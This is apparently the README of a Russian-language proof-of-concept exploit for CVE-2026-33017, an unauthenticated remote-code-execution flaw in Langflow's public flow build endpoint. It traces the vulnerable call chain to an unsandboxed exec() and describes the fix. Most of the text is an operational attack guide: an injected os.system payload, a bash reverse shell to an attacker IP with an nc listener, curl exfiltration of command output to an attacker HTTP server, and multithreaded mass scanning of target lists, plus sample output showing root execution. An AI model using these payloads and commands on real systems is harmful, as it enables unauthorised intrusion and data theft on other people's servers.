
CVE-2026-33017 - Удалённое выполнение кода без аутентификации в Langflow <= 1.8.1 через Public Flow Build Endpoint
Только для образовательных целей и авторизованного тестирования.
Langflow <= 1.8.1 предоставляет публичную конечную точку сборки потока, которая принимает управляемые атакующим данные потока, содержащие произвольный код. Этот код передается в prepare_global_scope() в validate.py, которая вызывает exec() без песочницы, что приводит к неаутентифицированному удаленному выполнению кода с привилегиями серверного процесса.
| Пакет | Затронуто | Исправлено |
|---|---|---|
pip langflow | <= 1.8.1 | 1.9.0 |
Конечная точка build_public_tmp намеренно не требует аутентификации — она предназначена для того, чтобы любой желающий мог выполнить сохраненный публичный поток. Уязвимость заключается в том, что она также принимает необязательный параметр data, содержащий управляемые атакующим определения потока. Поэтому неаутентифицированный пользователь может отправить произвольный код узла, который сервер воспринимает как легитимный граф потока и передает напрямую в процедуры выполнения кода без проверки.
Исправление простое: удалить параметр data и заставить конечную точку вызывать только build_graph_from_db(), чтобы публичные потоки выполняли исключительно сохраненные данные и никогда — код, предоставленный атакующим.
Полезная нагрузка атакующего проходит следующую цепочку вызовов перед выполнением:
| Шаг | Файл | Детали |
|---|---|---|
| 1 | chat.py:580 | build_public_tmp получает данные атакующего в теле запроса |
| 2 | build.py:81 | start_flow_build() передает недоверенную полезную нагрузку |
| 3 | build.py:298 | build_graph_from_data() передает ее в построение графа |
| 4 | base.py:1168 | Graph.from_payload() десериализует определения узлов, предоставленные атакующим |
| 5 | base.py:1323 | instantiate_component() вызывается для каждого узла |
| 6 | loading.py:43 | Поле code извлекается из параметров пользовательского компонента |
| 7 | eval.py:9 | create_class() получает исходный код атакующего |
| 8 | validate.py:397 | exec(compiled_code, exec_globals) — без песочницы |
prepare_global_scope() в validate.py обрабатывает узлы ast.Assign во время компиляции графа — до вызова любого метода потока. Поэтому присваивание верхнего уровня во внедренном коде выполняется немедленно:
_r = __import__('os').system("whoami") # runs at compile time, not at flow run time
Вывод направляется в stdout сервера, а не в HTTP-ответ. Для эксфильтрации требуется исходящий callback (реверс-шелл, webhook через curl).
| Конечная точка | Аутентификация | Вектор атаки |
|---|---|---|
POST /api/v1/build_public_tmp/{flow_id}/flow | Нет | Удаленный, без аутентификации |
| Сценарий | Требование |
|---|---|
| A — включен AUTO_LOGIN | AUTO_LOGIN=true: анонимно получить JWT-токен, создать PUBLIC-поток, эксплуатировать |
| B — известный публичный поток | Известен UUID общего/публичного потока: эксплуатировать напрямую, аутентификация не требуется |
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"
| Флаг | По умолчанию | Описание |
|---|---|---|
--url | — | URL одной целевой Langflow-инстанции |
--url-file | — | Текстовый файл с одним URL на строку (массовое сканирование) |
--cmd | id | Команда ОС для выполнения на цели |
--flow-id | — | UUID существующего публичного потока (пропускает создание потока) |
--threads | 5 | Количество параллельных потоков для массового режима |
--timeout | 15 | Таймаут HTTP-запроса в секундах |
--no-cleanup | false | Оставить созданный поток после эксплуатации |
Важно: PoC использует
os.system()на уровне модуля — команда выполняется на сервере, но ее вывод уходит в stdout сервера, а не обратно в HTTP-ответ. PoC лишь подтверждает, что выполнение произошло ([+] VULNERABLE). Чтобы реально получить вывод команды, используйте один из методов эксфильтрации ниже.
Слепое подтверждение (проверяет RCE без получения вывода)
python3 poc.py --url http://target:7860 --cmd "id"
Реверс-шелл — с локальным слушателем
# 1. Start a listener on your machine
nc -lvnp 4444
# 2. Send the reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
Внеполосная эксфильтрация через HTTP callback — с локальным сервером
# 1. Start a local HTTP server
python3 -m http.server 8080
# 2. Exfiltrate output via curl callback
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"
С известным UUID публичного потока (создание потока не требуется)
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>
Массовое сканирование из файла
python3 poc.py --url-file targets.txt --cmd "id" --threads 10
PoC подтверждает, что выполнение произошло. [+] VULNERABLE означает, что сборка прошла успешно и внедренный код выполнился — это не означает, что вывод был получен.
============================================================
CVE-2026-33017 — Langflow RCE PoC
============================================================
Targets : 1
Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
Threads : 5 | Timeout : 15s
============================================================
[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)
============================================================
SUMMARY
============================================================
[+] http://target:7860 VULNERABLE
============================================================
1/1 target(s) vulnerable
Вывод, полученный на локальном HTTP-сервере:
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)
exec() на /api/v1/validate/code